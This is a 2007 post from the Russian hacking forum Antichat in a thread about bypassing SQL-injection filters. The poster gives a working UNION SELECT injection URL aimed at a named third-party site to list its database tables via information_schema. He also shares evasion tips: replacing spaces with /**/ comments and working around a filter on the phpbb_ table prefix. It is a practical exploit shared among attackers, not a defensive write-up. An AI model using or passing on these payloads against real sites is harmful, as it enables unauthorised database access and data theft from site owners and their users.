15.10.2007, 23:41
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
Сообщение от blackybr
тупо парсятся user() database() version() в гет запросе ))) фром и все остальное не проверяется.
несовсем, там парсятся вобще скобки ()
2fobofob
все работает:
Код:
http://www.wm.lookmy.info/index.php?id=1868&show=news&newsid=-1662+union+select+1,2,table_name%20from%20information_schema.tables/*
ЗЫ на одном хек портале была скуля, так там скобки фильтровались, пробелы (ну и плсенги) надо было /**/ ставить, но самое прикольное что в гет запросе был фильтр на префикс к таблицам форума, например если в гет запросе встречается phpbb_ , то сразу кидает на индекс... и такое бывает
__________________
Карфаген должен быть разрушен...
Последний раз редактировалось Scipio; 16.10.2007 в 00:15..
|
|
|